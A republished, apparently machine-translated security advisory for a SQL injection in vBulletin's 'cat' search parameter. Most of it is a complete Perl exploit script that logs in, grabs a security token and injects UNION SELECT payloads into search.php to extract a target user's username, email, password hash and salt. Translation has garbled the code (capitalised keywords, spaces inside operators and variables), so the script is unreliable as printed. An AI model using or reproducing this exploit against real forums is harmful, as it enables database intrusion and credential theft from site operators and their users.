VBulletin 'cat' parameter SQL Injection Vulnerability

Source: Internet
Author: User
Tags vbulletin

VBulletin 'cat' parameter SQL Injection Vulnerability

Released on: 2014-09-03
Updated on: 2014-09-04

Affected Systems:
VBulletin
Description:
--------------------------------------------------------------------------------
Bugtraq id: 69572

VBulletin is a powerful and flexible forum program suite that can be customized based on your needs.

VBulletin has the SQL injection vulnerability in the implementation of cat parameters. After successful exploitation, attackers can perform unauthorized database operations.

<* Source: D35m0nd142
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
#! /Usr/bin/env perl
Use LWP: UserAgent;
Use HTTP: Cookies;

$ Ua = LWP: UserAgent-> new ();
$ Ua-> agent ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv: 31.0) Gecko/20100101 Firefox/31.0 ");
$ Ua-> cookie_jar ({});
$ Username = "username) from user where userid = $ ARGV [4] #";
$ Email = "email) from user where userid = $ ARGV [4] #";
$ Password = "password) from user where userid = $ ARGV [4] #";
$ Salt = "salt) from user where userid = $ ARGV [4] #";
@ Tofinds = ('database () # '); push (@ tofinds, $ username); push (@ tofinds, $ email); push (@ tofinds, $ password ); push (@ tofinds, $ salt );

Sub request
{
My $ token = dumping ("vbloginout.txt", "token ");

If ($ token eq '')
{
Print "SECURITYTOKEN not found (Make sure to log out from any other previous logged sessions before running the exploit). \ n ";
# Print "Attempting using 1409594055-f2133dfe1f26a36f6349eb3a946ac38c94a182e6 as token. \ n ";
$ Token = "1409750140-51ac26286027a4bc2b2ac38a7483081c2a4b2a3e"; # HERE
Print "Attempting using $ token as token. \ n ";
}
Else
{
Print "securitytoken found: $ token \ n ";
}

Print "Sending exploit... \ n ";
Sleep (1 );
My $ req = HTTP: Request-> new (POST => $ ARGV [0]. '/search. php? Search_type = 1 ');
$ Req-> content_type ('application/x-www-form-urlencoded ');

Foreach $ tofind (@ tofinds)
{
$ Post = "query = $ ARGV [3] & titleonly = 0 & dosearch = Search + Now & memberless = 0 & memberlimit = & discussionless = 0 & discussionlimit = & messageless = 0 & messagelimit = & pictureless = 0 & picturelimit = & sortby = dateline & order = descending & Signature = 0 & Signature = 1 & Signature = & group_filter_date_gteq_month = 0 & Signature = 1 & Signature = & amp & saveprefs = 1 & s = & securitytoken = $ token & dofilter = 1 & do = process & searchfromtype = vBForum % 3 ASocialGroup & contenttypeid = 7 & cat [0] = 1) union select concat (0x3a, 0x3a, 0x3a, $ tofind ";
$ Req-> content ($ post );
My $ res = $ ua-> request ($ req );
# Print $ res-> headers ()-> as_string; print "\ n ";
Open (FILE0, "> vbloc.txt"); print FILE0 $ res-> headers ()-> as_string; close (FILE0 );
My $ location = dumping ("vbloc.txt", "loc ");

If ($ location !~ /$ ARGV [0]/)
{
Banner ();
Break;
}
# Print "Location: $ location \ n ";
My $ req1 = HTTP: Request-> new (GET => $ location );
$ Req1-> content_type ('application/x-www-form-urlencoded ');
My $ res1 = $ ua-> request ($ req1 );
# Print $ res1-> content; print "\ n ";
Open (FILE, "> vbout.txt ");
Print FILE $ res1-> content;
Close (FILE );
Printout ($ tofind );
Dumping ("vbout.txt", "SQL ");
Print "\ n ";
}
Print "\ n ";
Print "Do you want to run the second exploitation way? (Y/n)-> ";
$ Want = <STDIN>;
If ($ want = ~ /Y /)
{
Second_request ($ token );
}
}

Sub second_request
{
My ($ token) = @_;
Print "Attempting using the second exploitation way .. \ n ";
Sleep (2 );
My $ req = HTTP: Request-> new (POST => $ ARGV [0]. '/search. php ');
$ Req-> content_type ('application/x-www-form-urlencoded ');

Foreach $ tofind (@ tofinds)
{
$ Post = "type % 5B % 5D = 7 & query = $ ARGV [3] & titleonly = 0 & searchuser = & exactname = 1 & tag = & dosearch = Search + Now & searchdate = 0 & beforeafter = & sortby = relevance & order = descending & saveprefs = 1 & s = & securitytoken = $ token & do = process & searchthreadid = & cat [0] = 1) union select concat (0x3a, 0x3a, 0x3a, $ tofind ";
$ Req-> content ($ post );
My $ res = $ ua-> request ($ req );
# Print $ res-> headers ()-> as_string; print "\ n ";
Open (FILE0, "> vbloc.txt"); print FILE0 $ res-> headers ()-> as_string; close (FILE0 );
My $ location = dumping ("vbloc.txt", "loc ");

If ($ location !~ /$ ARGV [0]/)
{
Banner ();
Exit (1 );
}
# Print "Location: $ location \ n ";
My $ req1 = HTTP: Request-> new (GET => $ location );
$ Req1-> content_type ('application/x-www-form-urlencoded ');
My $ res1 = $ ua-> request ($ req1 );
# Print $ res1-> content; print "\ n ";
Open (FILE, "> vbout.txt ");
Print FILE $ res1-> content;
Close (FILE );
Printout ($ tofind );
Dumping ("vbout.txt", "SQL ");
Print "\ n ";
}
Print "\ n ";
}

Sub banner
{
Print "[-] Exploit not successful! \ N ";
If (token eq "1409563107-55b86c8f60ad36a41dedff21b06bdc8c9d949303 ")
{
Print "[I] Try to log in and log out from other any other sessions and run the exploit again. \ n ";
}
}

Sub printout
{
My ($ tofind) = @_;
If ($ tofind = ~ /Username /)
{
Print "[+] User ($ ARGV [4]) Username :";
}
Elsif ($ tofind = ~ /Password /)
{
Print "[+] User ($ ARGV [4]) Password :";
}
Elsif ($ tofind = ~ /Database /)
{
Print "[+] Database Name :";
}
Elsif ($ tofind = ~ /Email /)
{
Print "[+] User ($ ARGV [4]) Email :";
}
Elsif ($ tofind = ~ /Salt /)
{
Print "[+] User ($ ARGV [4]) Salt :";
}
}

Sub dumping
{
My ($ filename, $ par) = @_;
Open (MYFILE, "<", $ filename );
My @ words;
While (<MYFILE>)
{
Chomp;
@ Words = split ('');

If ($ par eq "token ")
{
My $ ctrl = "n ";
Foreach my $ word (@ words)
{
If ($ word = ~ /SECURITYTOKEN /)
{
$ Ctrl = "y ";
}
If ($ ctrl eq "y" and $ word !~ // And $ word !~ /SECURITYTOKEN /)
{
$ Word = ~ Tr/; // d; $ word = ~ Tr/\ "// d;
Return $ word;
Break;
}
}
}

Elsif ($ par eq "SQL ")
{
Foreach my $ word (@ words)
{
If ($ word = ~ /:::/)
{
$ Word = ~ Tr/: // d;
Print "$ word ";
}
}
}

Else
{
My $ ctrl2 = "n ";
Foreach my $ word (@ words)
{
If ($ word = ~ /Location :/)
{
$ Ctrl2 = "y ";
}
If ($ ctrl2 eq "y" and $ word !~ /Location :/)
{
Return $ word;
}
}
}
}
Close (MYFILE );
}

Sub login (@)
{
My $ username = shift;
My $ password = shift;
Print "\ nLogging in... \ n ";
Sleep (1 );
My $ req = HTTP: Request-> new (POST => $ ARGV [0]. '/login. php? Do = login ');
$ Req-> content_type ('application/x-www-form-urlencoded ');
$ Req-> content ("vb_login_username = $ username & vb_login_password = $ password & s = & securitytoken = login & do = login & vb_login_md5password = & login = ");
$ Ua-> cookie_jar ({});
My $ res = $ ua-> request ($ req );
# Print "\ n"; print $ res-> content; print "\ n ";
Open (FILE2, "> vbloginout.txt"); print FILE2 $ res-> content; close (FILE2 );
Request ();
}

If ($ ARGV [0] eq ''| $ ARGV [1] eq'' | $ ARGV [2] eq ''| $ ARGV [3] eq'' | $ ARGV [4] eq '')
{
Print "\ n <! VBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit!> \ N ";
Print "Author: D35m0nd142 \ n ";
Print "Usage: perl exploit. pl Print "Example: perl exploit. pl http://www.example.com myusername mypassword Administrators 1 \ n ";
Exit (1 );
}

Print "\ n <! VBulletin 4.0.x => 4.1.2 Automatic SQL Injection exploit!> \ N ";
Print "Author: D35m0nd142 \ n ";
Sleep (1 );
Login ($ ARGV [1], $ ARGV [2]);

@ Files = ('vbloginout.txt', 'vbout.txt', 'vbloc.txt ');
Foreach $ file (@ files)
{
Unlink $ file;
}

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

VBulletin
---------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.vbulletin.com/

This article permanently updates the link address:

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.